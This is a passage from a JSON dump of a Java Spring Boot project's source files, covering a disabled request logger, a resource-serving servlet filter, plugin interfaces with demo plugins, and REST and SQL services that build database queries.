1);\n//        try {\n//            return joinPoint.proceed();\n//        } finally {\n//            if (logSign)\n//                log.info(\"<------ Response [{}]  ({}ms)\", WebRequestContext.getRequestURI(), System.currentTimeMillis() - startTime);\n//            ThreadLocalHelper.remove(HAS_LOGGED_THREAD_KEY);\n//        }\n//    }\n//\n//    private boolean hasLogged(){\n//        return nonNull(ThreadLocalHelper.get(HAS_LOGGED_THREAD_KEY));\n//    }\n//\n//    private String assembleRequestMessage() {\n//        StringBuilder msg = new StringBuilder();\n//        msg.append(\"------> Request [\");\n//        msg.append(WebRequestContext.getMethod()).append(' ').append(WebRequestContext.getRequestURI());\n//        msg.append(']');\n//        if (scrmRequestProperties.getLog().isIncludeClientInfo() && isNotBlank(WebRequestContext.getRemoteAddr())) {\n//            msg.append(\", client=\").append(WebRequestContext.getRemoteAddr());\n//            Base base = CrmUserInfoContext.getBase();\n//            if (base != null) {\n//                msg.append(\", accountId=\").append(base.getAccountId()).append(\", userId=\").append(base.getUserId());\n//            }\n//        }\n//        msg.append(\", cURL（bash）=\\n\").append(RequestLogUtils.getHttpInfo(scrmRequestProperties)).append(\"\\n\");\n//        return msg.toString();\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/filter/RequestLogUtils.java",
    "content": "//package io.github.wujun728.rest.filter;\n//\n//import lombok.extern.slf4j.Slf4j;\n//import net.trueland.scrm.common.context.web.WebRequestContext;\n//import net.trueland.scrm.common.web.property.ScrmRequestProperties;\n//import org.apache.commons.collections4.MapUtils;\n//import org.apache.commons.lang3.StringUtils;\n//\n//import java.util.ArrayList;\n//import java.util.List;\n//import java.util.Map;\n//import java.util.Set;\n//\n///**\n// * 请求日志打印工具\n// * 李璇\n// */\n//@Slf4j\n//public final class RequestLogUtils {\n//\n//    private RequestLogUtils() {\n//\n//    }\n//\n//    private static final String URL_FORMAT = \"curl '%s'\\\\\\n\";\n//\n//    private static final String HEADER_FORMAT = \"  -H '%s: %s'\\\\\\n\";\n//\n//    private static final String DATA_ROW_FORMAT = \"  --data-raw '%s'\";\n//\n//    public static final Set<String> HTTP_HEADERS = Set.of(\n//            \"application-code\", \"application-version\", \"preview-application-code\",\n//            \"lang-code\", \"layout-code\", \"object-code\", \"view-code\",\n//            \"authority\", \"accept\", \"accept-language\", \"content-type\",\n//            \"origin\", \"referer\", \"user-agent\",\n//            \"sec-ch-ua\", \"sec-ch-ua-mobile\", \"sec-ch-ua-platform\", \"sec-fetch-dest\", \"sec-fetch-mode\", \"sec-fetch-site\",\n//            \"x-token\", \"sso-token\", \"x-account\", \"tax-rate\", \"root-id\", \"source-flag\", \"service-version\",\n//            \"d-token\", \"p-token\", \"x-weboffice-token\", \"s-request-token\", \"xxl-job-access-token\");\n//\n//\n//    public static String getHttpInfo(ScrmRequestProperties scrmRequestProperties) {\n//        StringBuilder msg = new StringBuilder();\n//        String requestUrl = WebRequestContext.getRequestUrl();\n//        if (scrmRequestProperties.getLog().isIncludeQueryString() && StringUtils.isNotBlank(WebRequestContext.getQueryString())) {\n//            requestUrl = requestUrl + '?' + WebRequestContext.getQueryString();\n//        }\n//        msg.append(String.format(URL_FORMAT, requestUrl));\n//        if (scrmRequestProperties.getLog().isIncludeHeaders()) {\n//            Map<String, String> headers = WebRequestContext.getHeaders();\n//            if (MapUtils.isNotEmpty(headers)) {\n//                Set<Map.Entry<String, String>> entries = headers.entrySet();\n//                List<Map.Entry<String, String>> ignoreHttpHeaders = new ArrayList<>();\n//                for (Map.Entry<String, String> entry : entries) {\n//                    String key = entry.getKey();\n//                    if (HTTP_HEADERS.contains(key)) {\n//                        msg.append(String.format(HEADER_FORMAT, key, entry.getValue()));\n//                    } else {\n//                        ignoreHttpHeaders.add(entry);\n//                    }\n//                }\n//                log.info(\"getHttpInfo ignoreHttpHeaders {}\", ignoreHttpHeaders);\n//            }\n//        }\n//        if (scrmRequestProperties.getLog().isIncludePayload()) {\n//            String payload = WebRequestContext.getPayload();\n//            if (StringUtils.isNotBlank(payload)) {\n//                int maxLength = scrmRequestProperties.getLog().getPayloadLogMaxLength();\n//                String dataRaw = payload.length() > maxLength ? payload.substring(0, maxLength) + \"...(\" + (payload.length() - maxLength) + \" chars more)\" : payload;\n//                msg.append(String.format(DATA_ROW_FORMAT, dataRaw));\n//            }\n//        }\n//        return msg.toString();\n//    }\n//\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/filter/ResourceFilter.java",
    "content": "package io.github.wujun728.rest.filter;\n\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\n\n//import javax.activation.MimetypesFileTypeMap;\nimport javax.servlet.Filter;\nimport javax.servlet.FilterChain;\nimport javax.servlet.FilterConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.annotation.WebFilter;\nimport javax.servlet.http.HttpServletRequest;\n\nimport cn.hutool.core.io.FileUtil;\nimport cn.hutool.core.io.IoUtil;\nimport cn.hutool.core.io.file.FileNameUtil;\nimport cn.hutool.http.ContentType;\nimport cn.hutool.log.Log;\n\n/**\n * Servlet Filter implementation class ResourceFilter\n */\n@WebFilter(urlPatterns = \"*\")\npublic class ResourceFilter implements Filter {\n\n    @Override\n    public void destroy() {\n    }\n\n    @Override\n    public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) throws IOException, ServletException {\n        HttpServletRequest request = (HttpServletRequest) arg0;\n        HttpServletRequest respone = (HttpServletRequest) arg0;\n        String url = request.getRequestURI();\n        Log.get().info(\"ResourceFilter URL:\"+url);\n        if (url.startsWith(\"/jun-groovy-api/\")) {\n            String filename = url.substring(\"/jun-groovy-api/\".length());\n            InputStream in = this.getClass().getClassLoader().getResourceAsStream(\"template/\" + filename);\n            if(in!=null){\n                try {\n                    if(url.contains(\".html\") || url.contains(\".htm\")){\n                        arg1.setContentType(ContentType.TEXT_HTML.getValue());\n                    }/*else{\n                        MimetypesFileTypeMap mimetypesFileTypeMap = new MimetypesFileTypeMap();\n                        String mimeType = mimetypesFileTypeMap.getContentType(FileUtil.getName(url));\n                        arg1.setContentType(mimeType);\n                    }*/\n                    IoUtil.copy(in, arg1.getOutputStream());\n                } finally {\n                    IoUtil.close(in);\n                }\n            }else{\n                Log.get().error(\"error url:\"+url);\n            }\n        } else {\n            arg2.doFilter(arg0, arg1);\n        }\n    }\n\n    @Override\n    public void init(FilterConfig arg0) throws ServletException {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/handler/RestEntityExecHandler.java",
    "content": "package io.github.wujun728.rest.handler;\n\nimport java.util.List;\n\npublic abstract class RestEntityExecHandler {\n\n    public abstract String entityName();\n\n    public void beforeCreate() {\n\n    }\n\n    public void afterCreate() {\n    }\n\n    public void beforeUpdate() {\n    }\n\n    public void afterUpdate() {\n    }\n\n    public void beforeDelete() {\n    }\n\n    public void afterDelete() {\n    }\n\n    public void afterQuery() {\n    }\n\n    public void afterQuery(List<?> list) {\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/plugin/BasePlugin.java",
    "content": "package io.github.wujun728.rest.plugin;\n\npublic interface BasePlugin {\n\n    /**\n     * 插件名称，用于在页面上显示，提示用户\n     * @return\n     */\n    String getName();\n\n    /**\n     * 插件功能描述，用于在页面上显示，提示用户\n     * @return\n     */\n    String getDescription();\n\n    /**\n     * 插件参数描述，用于在页面上显示，提示用户\n     * @return\n     */\n    String getParamDescription();\n    \n    /**\n     * 插件初始化方法，实例化插件的时候执行，永远只会执行一次，\n     * 一般是用来创建连接池\n     */\n    void init();\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/plugin/CachePlugin.java",
    "content": "package io.github.wujun728.rest.plugin;\n\nimport java.util.Map;\n\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic abstract class CachePlugin implements BasePlugin {\n\n    public Logger logger = LoggerFactory.getLogger(CachePlugin.class);\n\n    /**\n     * 缓存设置\n     *\n     * @param config api配置\n     * @param requestParams request参数\n     * @param data   要缓存的数据\n     */\n    public abstract void set(ApiConfig config, Map<String, Object> requestParams, Object data);\n\n    /**\n     * 清除所有缓存，API修改、删除、下线的时候会触发清除缓存\n     *\n     * @param config api配置\n     */\n    public abstract void clean(ApiConfig config);\n\n    /**\n     * 查询缓存\n     *\n     * @param config api配置\n     * @param requestParams request参数\n     * @return\n     */\n    public abstract Object get(ApiConfig config, Map<String, Object> requestParams);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/plugin/LoadPluginOnSpringReady.java",
    "content": "//package io.github.wujun728.rest.plugin;\n//\n//import org.springframework.boot.context.event.ApplicationReadyEvent;\n//import org.springframework.context.event.EventListener;\n//import org.springframework.stereotype.Component;\n//\n//@Component\n//public class LoadPluginOnSpringReady {\n//    @EventListener\n//    public void loadPlugins(ApplicationReadyEvent event){\n//        PluginManager.loadPlugins();\n//    }\n//}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/plugin/PluginManager.java",
    "content": "package io.github.wujun728.rest.plugin;\n\nimport com.alibaba.fastjson2.JSONObject;\nimport lombok.extern.slf4j.Slf4j;\n\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.stream.Collectors;\n\n@Slf4j\npublic class PluginManager {\n\n//    private static Map<String, CachePlugin> cachePlugins = new ConcurrentHashMap<>();\n//    private static Map<String, TransformPlugin> transformPlugins = new ConcurrentHashMap<>();\n//    private static Map<String, TestPlugin> alarmPlugins = new ConcurrentHashMap<>();\n    private static Map<String, BasePlugin> plugins = new ConcurrentHashMap<>();\n    \n    public static void main(String[] args) {\n\t\tPluginManager.loadPlugins();\n\t}\n\n    public static void loadPlugins() {\n\n        ServiceLoader<BasePlugin> serviceLoader = ServiceLoader.load(BasePlugin.class);\n        Iterator<BasePlugin> CachePlugins = serviceLoader.iterator();\n        while (CachePlugins.hasNext()) {\n        \tBasePlugin plugin = CachePlugins.next();\n            plugin.init();\n            log.info(\"BasePlugin {} registered\", plugin.getClass().getName());\n            plugins.put(plugin.getClass().getName(), plugin);\n        }\n        log.info(\"scan BasePlugin is finish\");\n        \n        \n//        ServiceLoader<CachePlugin> serviceLoader = ServiceLoader.load(CachePlugin.class);\n//        Iterator<CachePlugin> CachePlugins = serviceLoader.iterator();\n//        while (CachePlugins.hasNext()) {\n//        \tCachePlugin plugin = CachePlugins.next();\n//        \tplugin.init();\n//        \tlog.info(\"{} registered\", plugin.getClass().getName());\n//        \tcachePlugins.put(plugin.getClass().getName(), plugin);\n//        }\n//        log.info(\"scan cache plugin finish\");\n//\n//        ServiceLoader<TransformPlugin> serviceLoader2 = ServiceLoader.load(TransformPlugin.class);\n//        Iterator<TransformPlugin> TransformPlugins = serviceLoader2.iterator();\n//        while (TransformPlugins.hasNext()) {\n//            TransformPlugin plugin = TransformPlugins.next();\n//            plugin.init();\n//            log.info(\"{} registered\", plugin.getClass().getName());\n//            transformPlugins.put(plugin.getClass().getName(), plugin);\n//        }\n//        log.info(\"scan transform plugin finish\");\n//\n//        ServiceLoader<TestPlugin> serviceLoader3 = ServiceLoader.load(TestPlugin.class);\n//        Iterator<TestPlugin> AlarmPlugins = serviceLoader3.iterator();\n//        while (AlarmPlugins.hasNext()) {\n//            TestPlugin plugin = AlarmPlugins.next();\n//            plugin.init();\n//            log.info(\"{} registered\", plugin.getClass().getName());\n//            alarmPlugins.put(plugin.getClass().getName(), plugin);\n//        }\n//        log.info(\"scan alarm plugin finish\");\n    }\n\n    public static BasePlugin getPlugin(String className) {\n        if (!plugins.containsKey(className)) {\n            throw new RuntimeException(\"Plugin not found: \" + className);\n        }\n        return plugins.get(className);\n    }\n\n//    public static TransformPlugin getTransformPlugin(String className) {\n//        if (!transformPlugins.containsKey(className)) {\n//            throw new RuntimeException(\"Plugin not found: \" + className);\n//        }\n//        return transformPlugins.get(className);\n//    }\n//\n//    public static TestPlugin getAlarmPlugin(String className) {\n//        if (!alarmPlugins.containsKey(className)) {\n//            throw new RuntimeException(\"Plugin not found: \" + className);\n//        }\n//        return alarmPlugins.get(className);\n//    }\n\n    public static List<JSONObject> getAllPlugin() {\n        List<JSONObject> collect = plugins.values().stream().map(t -> {\n            JSONObject jsonObject = new JSONObject();\n            jsonObject.put(\"className\", t.getClass().getName());\n            jsonObject.put(\"name\", t.getName());\n            jsonObject.put(\"description\", t.getDescription());\n            jsonObject.put(\"paramDescription\", t.getParamDescription());\n            return jsonObject;\n        }).collect(Collectors.toList());\n        return collect;\n    }\n\n//    public static List<JSONObject> getAllTransformPlugin() {\n//        List<JSONObject> collect = transformPlugins.values().stream().map(t -> {\n//            JSONObject jsonObject = new JSONObject();\n//            jsonObject.put(\"className\", t.getClass().getName());\n//            jsonObject.put(\"name\", t.getName());\n//            jsonObject.put(\"description\", t.getDescription());\n//            jsonObject.put(\"paramDescription\", t.getParamDescription());\n//            return jsonObject;\n//        }).collect(Collectors.toList());\n//        return collect;\n//    }\n//\n//    public static List<JSONObject> getAllAlarmPlugin() {\n////        return alarmPlugins.keySet();\n//        List<JSONObject> collect = alarmPlugins.values().stream().map(t -> {\n//            JSONObject jsonObject = new JSONObject();\n//            jsonObject.put(\"className\", t.getClass().getName());\n//            jsonObject.put(\"name\", t.getName());\n//            jsonObject.put(\"description\", t.getDescription());\n//            jsonObject.put(\"paramDescription\", t.getParamDescription());\n//            return jsonObject;\n//        }).collect(Collectors.toList());\n//        return collect;\n//    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/plugin/TestPlugin.java",
    "content": "package io.github.wujun728.rest.plugin;\n\n\nimport io.github.wujun728.sql.entity.ApiConfig;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport javax.servlet.http.HttpServletRequest;\n\npublic abstract class TestPlugin implements BasePlugin {\n\n    public Logger logger = LoggerFactory.getLogger(TestPlugin.class);\n\n    /**\n     * 告警逻辑\n     * @param e 异常\n     * @param config API元数据\n     * @param request 请求\n     * @param pluginParam 告警插件局部参数\n     */\n    public abstract void alarm(Exception e, ApiConfig config, HttpServletRequest request, String pluginParam);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/plugin/TransformPlugin.java",
    "content": "package io.github.wujun728.rest.plugin;\n\nimport com.alibaba.fastjson2.JSONObject;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.List;\n\npublic abstract class TransformPlugin implements BasePlugin  {\n\n    public Logger logger = LoggerFactory.getLogger(CachePlugin.class);\n\n    /**\n     * 数据转换逻辑\n     *\n     * @param data   sql查询结果\n     * @param params 缓存插件局部参数\n     * @return\n     */\n    public abstract Object transform(List<JSONObject> data, String params);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/plugin/impl/DemoCachePlugin.java",
    "content": "package io.github.wujun728.rest.plugin.impl;\n\nimport java.util.Map;\n\nimport io.github.wujun728.rest.plugin.CachePlugin;\nimport io.github.wujun728.sql.entity.ApiConfig;\n\npublic class DemoCachePlugin extends CachePlugin {\n    @Override\n    public void init() {\n        System.out.println(\"-----demo---------\");\n    }\n\n    @Override\n    public void set(ApiConfig config, Map<String, Object> requestParams, Object data) {\n        System.out.println(\"--------------\");\n    }\n\n    @Override\n    public void clean(ApiConfig config) {\n        System.out.println(\"--------------\");\n    }\n\n    @Override\n    public Object get(ApiConfig config, Map<String, Object> requestParams) {\n        return null;\n    }\n\n    @Override\n    public String getName() {\n        return \"demo缓存插件\";\n    }\n\n    @Override\n    public String getDescription() {\n        return \"demo缓存插件描述\";\n    }\n\n    @Override\n    public String getParamDescription() {\n        return \"demo缓存插件参数\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/plugin/impl/DemoTransformPlugin.java",
    "content": "package io.github.wujun728.rest.plugin.impl;\n\nimport java.util.List;\n\nimport com.alibaba.fastjson2.JSONObject;\nimport io.github.wujun728.rest.plugin.TransformPlugin;\n\npublic class DemoTransformPlugin extends TransformPlugin {\n    @Override\n    public void init() {\n        System.out.println(\"------demo transform------\");\n    }\n\n    @Override\n    public Object transform(List<JSONObject> data, String params) {\n        return null;\n    }\n\n    @Override\n    public String getName() {\n        return \"demo数据转换插件\";\n    }\n\n    @Override\n    public String getDescription() {\n        return \"demo数据转换插件描述\";\n    }\n\n    @Override\n    public String getParamDescription() {\n        return \"demo数据转换参数插件\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/service/RestApiService.java",
    "content": "package io.github.wujun728.rest.service;\n\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.db.meta.Column;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport com.alibaba.fastjson2.JSON;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.common.exception.BusinessException;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.utils.FieldUtils;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport io.github.wujun728.db.utils.TreeBuildUtil;\nimport io.github.wujun728.generator.util.MapUtil;\nimport io.github.wujun728.rest.util.RestUtil;\nimport io.github.wujun728.sql.SqlMeta;\nimport io.github.wujun728.sql.utils.JdbcUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Service;\n\nimport javax.servlet.http.HttpServletResponse;\nimport javax.sql.DataSource;\nimport java.io.*;\nimport java.sql.SQLException;\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Map;\n\nimport static io.github.wujun728.db.record.Db.main;\nimport static io.github.wujun728.rest.controller.RestApiController.getTableMeta;\nimport static io.github.wujun728.rest.util.RestUtil.checkDataFormat;\nimport static io.github.wujun728.rest.util.RestUtil.setPkValue;\n\n\n//import static io.github.wujun728.rest.util.DataSourcePool.main;\n\n@Slf4j\n@Service\npublic class RestApiService {\n\n    public List<Map<String, Object>> getList(String tableName, Map<String, Object> parameters){\n        String entityName = MapUtil.getString(parameters,\"entityName\");\n        //String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        Table table = getTableMeta(tableName, main);\n        StringBuffer sql = new StringBuffer();\n        String select = \"select *\";\n        sql.append(select);\n        String from = \" from \" + tableName;\n        String where = RestUtil.getQueryCondition(parameters,table);\n        if(StrUtil.isNotEmpty(where)){\n            from = from + \" where 1=1 \"+ where;\n        }\n        sql.append(from);\n        List<Record> datas1 = Db.find(sql.toString());\n        List<Map<String, Object>> datas = RecordUtil.recordToMaps(datas1,isUnderLine);\n        return datas;\n    }\n    public Page<Record> getPage(String tableName, Map<String, Object> parameters){\n        Table table = getTableMeta(tableName, main);\n        StringBuffer sql = new StringBuffer();\n        String select = \"select *\";\n        sql.append(select);\n        String from = \" from \" + tableName;\n        String where = RestUtil.getQueryCondition(parameters,table);\n        if(StrUtil.isNotEmpty(where)){\n            from = from + \" where 1=1 \"+ where;\n        }\n        sql.append(from);\n        Integer page = cn.hutool.core.map.MapUtil.getInt(parameters, \"page\");\n        if ((page == null || page == 0)  ) {\n            page = 1;\n        }\n        Integer limit = cn.hutool.core.map.MapUtil.getInt(parameters, \"limit\");\n        if ( (limit == null || limit == 0)) {\n            limit = 10;\n        }\n        Page<Record> datas = Db.paginate(page, limit, select, from);\n        return datas;\n    }\n\n    public List<Map<String, Object>> getTree(String tableName, Map<String, Object> parameters){\n        String entityName = MapUtil.getString(parameters,\"entityName\");\n        String url = MapUtil.getString(parameters,\"url\");\n        //String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        Table table = getTableMeta(tableName, main);\n        StringBuffer sql = new StringBuffer();\n        String select = \"select *\";\n        sql.append(select);\n        String from = \" from \" + tableName;\n        sql.append(from);\n        String where = RestUtil.getQueryCondition(parameters,table);\n        if(StrUtil.isNotEmpty(where)){\n            from = from + \" where 1=1 \"+ where;\n        }\n        Boolean isTree = url.contains(\"tree\") ?true:false;\n        List<Record> datas1 = Db.find(sql.toString());\n        List<Map<String, Object>> datas = RecordUtil.recordToMaps(datas1,isUnderLine);\n        //是否构建树 begin\n        if(isTree){\n            String treeId = cn.hutool.core.map.MapUtil.getStr(parameters, \"id\") == null ? \"id\" : cn.hutool.core.map.MapUtil.getStr(parameters, \"id\");\n            String treePid = cn.hutool.core.map.MapUtil.getStr(parameters, \"pid\") == null ? \"pid\" : cn.hutool.core.map.MapUtil.getStr(parameters, \"pid\");\n            Object rootId = parameters.get(\"rootId\") == null ? 0L : parameters.get(\"rootId\");\n            if (StrUtil.isNotEmpty(treePid)) {\n                List<Map<String, Object>> treeList = TreeBuildUtil.listToTree(datas,String.valueOf(rootId),treeId,treePid);\n                StaticLog.info(JSONUtil.toJsonPrettyStr(treeList));\n                return treeList;\n            }\n        }\n        return datas;\n    }\n\n\n    public static void download(HttpServletResponse response, File file) throws IOException {\n        String filename = file.getName();\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-Disposition\", \"attachment; filename=\\\"\" + filename + \"\\\"\");\n        response.addHeader(\"Content-Length\", \"\" + file.length());\n        response.setContentType(\"application/octet-stream\");\n        try(InputStream is = new FileInputStream(file);\n            BufferedInputStream bis = new BufferedInputStream(is);\n            BufferedOutputStream bos = new BufferedOutputStream(response.getOutputStream())){\n            byte[] buff = new byte[2048];\n            int len;\n            while ((len = bis.read(buff)) != -1){\n                bos.write(buff, 0, len);\n            }\n            bos.flush();\n        } catch (IOException e){\n            throw e;\n        }\n    }\n\n    public static Object executeSQL(DataSource ds, Map<String, Object> sqlParam, String deleteSQL)\n            throws SQLException {\n        SqlMeta sqlMeta = JdbcUtil.getEngine().parse(deleteSQL, sqlParam);\n        Object datas = JdbcUtil.executeSql(ds.getConnection(), sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n        System.err.println(JSON.toJSONString(datas));\n        return datas;\n    }\n\n\n    public Result saveOrUpdate(String entityName, Map<String, Object> parameters, Boolean isSave) throws Exception {\n        //Step1,校验表信息，并获取表定义及主键信息\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        parameters.put(\"entityName\" , entityName);\n        parameters.put(\"tableName\" , tableName);\n        Table table = getTableMeta(tableName, main);\n        //Step2,根据表定义，获取表主键，并根据新增及修改，生成主键或者判断主键数据是否存在\n        //Step3,根据表定义，新增必填字段信息校验，并将默认或者内置字段生成默认值\n        String primaryKey = RestUtil.getTablePrimaryKes(table);\n        String primaryValue = RestUtil.getParamValue(parameters, primaryKey);\n        if(StrUtil.isNotEmpty(primaryValue)){\n            isSave = false;\n        }\n        Record record = new Record();\n        if (!isSave) {\n            List args = RestUtil.getPrimaryKeyArgs(parameters, table);\n            record = Db.findById(tableName, primaryKey, args.toArray());\n            if (ObjectUtil.isNull(record)) {\n                return Result.fail(\"修改失败，无此ID对应的记录！\");\n            }\n        }\n        Collection<Column> columns = table.getColumns();\n        for (Column column : columns) {\n            String paramValue = RestUtil.getParamValue(parameters, column.getName());\n            if (isSave) {\n                paramValue = RestUtil.getId(paramValue);\n            }\n            checkDataFormat(column, paramValue);\n            if (ObjectUtil.isNotEmpty(paramValue)) {//非空值，直接设置\n                record.set(column.getName(), (paramValue));\n            } else {\n                String fieldName = FieldUtils.columnNameToFieldName(column.getName());\n                if (ObjectUtil.isNotEmpty(RestUtil.getDefaultValue(fieldName))) {//设置默认值的字段\n                    record.set(column.getName(), RestUtil.getDefaultValue(fieldName));\n                } else {\n                    if(column.isPk()){\n                        if(column.isAutoIncrement()){\n                            //自增的主键，不自动赋值\n                        }else{\n                            setPkValue(record, column);\n                            StaticLog.warn(\"参数未传值： \" + column.getName());\n                        }\n                    }else{\n                        if (!column.isNullable()){ //非空字段，保存的时候，必填直接返回提示\n                            if (isSave) {\n                                throw new BusinessException(\"参数[\" + column.getName() + \"]不能为空！\");\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        //Step4，根据表定义拿到全部参数并生成入库的对象，并持久化并返回数据\n        Boolean isSucess;\n        if (isSave) {\n            RestUtil.fillRecord(record,tableName,true);\n            Record finalRecord = record;\n            //isSucess = Db.tx(() -> Db.save(tableName, finalRecord));\n            isSucess = Db.save(tableName, finalRecord);\n        } else {\n            RestUtil.fillRecord(record,tableName,false);\n            Record finalRecord1 = record;\n            //isSucess = Db.tx(() -> Db.update(tableName, finalRecord1));\n            isSucess = Db.update(tableName, finalRecord1);\n        }\n        System.out.println(\"返回数据为：\" + JSONUtil.toJsonStr(isSucess));\n        if (isSucess) {\n            if (isSave) {\n                return Result.success(\"保存成功！\",isSucess);\n            }else{\n                return Result.success(\"修改成功！\",isSucess);\n            }\n        } else {\n            return Result.fail(\"新增或者修改失败\");\n        }\n    }\n\n    /*@RequestMapping(path = {\"/api/test\"}, produces = \"application/json\")\n    public Result apiTest(HttpServletRequest request, HttpServletResponse response) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        //        String url = \"localhost:8888/engine/install\";\n        String url = new String();\n        HttpRequest post = HttpRequest.post(url).header(\"Content-Type\", \"multipart/form-data\");\n        Map<String,Object> map = Maps.newHashMap();\n        map.put(\"aaa\",123);\n        map.put(\"byk\",45465);\n        post.form(map);\n        HttpResponse execute = null;\n        try {\n            execute = post.execute();\n        } catch (Exception e) {\n            throw new BusinessException(\"安装部署包失败，调用引擎[\"+url+\"]端口失败\"+e.getMessage());\n        }\n        String jsonStr = execute.body();\n        System.out.println(\"execute = \" + jsonStr);\n        if(JSONUtil.isJson(jsonStr)){\n            Result result = JSONUtil.toBean(jsonStr,Result.class);\n            return result;\n        }else{\n            return Result.error(jsonStr);\n        }\n    }*/\n\n\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/service/RestSqlService.java",
    "content": "package io.github.wujun728.rest.service;\n\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.extra.spring.SpringUtil;\nimport com.alibaba.fastjson2.JSON;\nimport com.google.common.collect.Maps;\nimport freemarker.template.TemplateException;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.utils.DataSourcePool;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport io.github.wujun728.generator.CodeUtil;\nimport io.github.wujun728.generator.entity.ClassInfo;\nimport io.github.wujun728.rest.util.DbUtil;\nimport io.github.wujun728.sql.entity.ApiDataSource;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport io.github.wujun728.sql.utils.JdbcUtil;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.CollectionUtils;\n\nimport javax.sql.DataSource;\nimport java.io.IOException;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.*;\n\nimport static io.github.wujun728.db.record.Db.main;\n\n\n@Service\npublic class RestSqlService {\n\n    public void init(String tableName, Map<String, Object> parameters) throws SQLException, TemplateException, IOException {\n        /*String url = \"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        DataSource dataSource = DataSourcePool.init(\"main\",url,username,password);\n        Db.init(main,dataSource);*/\n        DataSource dataSource = SpringUtil.getBean(DataSource.class);\n        String entityName = MapUtil.getStr(parameters,\"entityName\");\n        Boolean isUnderLine = entityName.equals(tableName);\n        Table table =  MetaUtil.getTableMeta(dataSource,tableName);\n        List<Record> sqlList1 = Db.use(main).find(\"select * from api_sql \");\n        List<ApiSql> sqlList = RecordUtil.recordToBeans(sqlList1,ApiSql.class);// Db.use(main).findBeanList(ApiSql.class,\"select * from api_sql \");\n        ApiSql apiSql = new ApiSql();\n        String sqlType = \"insert\";\n        String path = \"/\"+entityName+\"/\"+sqlType;\n        String id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setGroup(entityName);\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n\n        sqlType = \"update\";\n        path = \"/\"+entityName+\"/\"+sqlType;\n        id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        Db.use(main).save(\"api_sql\",RecordUtil.beanToRecord(apiSql));\n\n        sqlType = \"delete\";\n        path = \"/\"+entityName+\"/\"+sqlType;\n        id = entityName+\"_\"+sqlType;\n        apiSql.setId(id);\n        apiSql.setPath(path);\n        apiSql.setType(\"gen\");\n        apiSql.setText(getSQLText(dataSource,tableName,sqlType));\n        //Db.use(main).saveBean(apiSql);\n        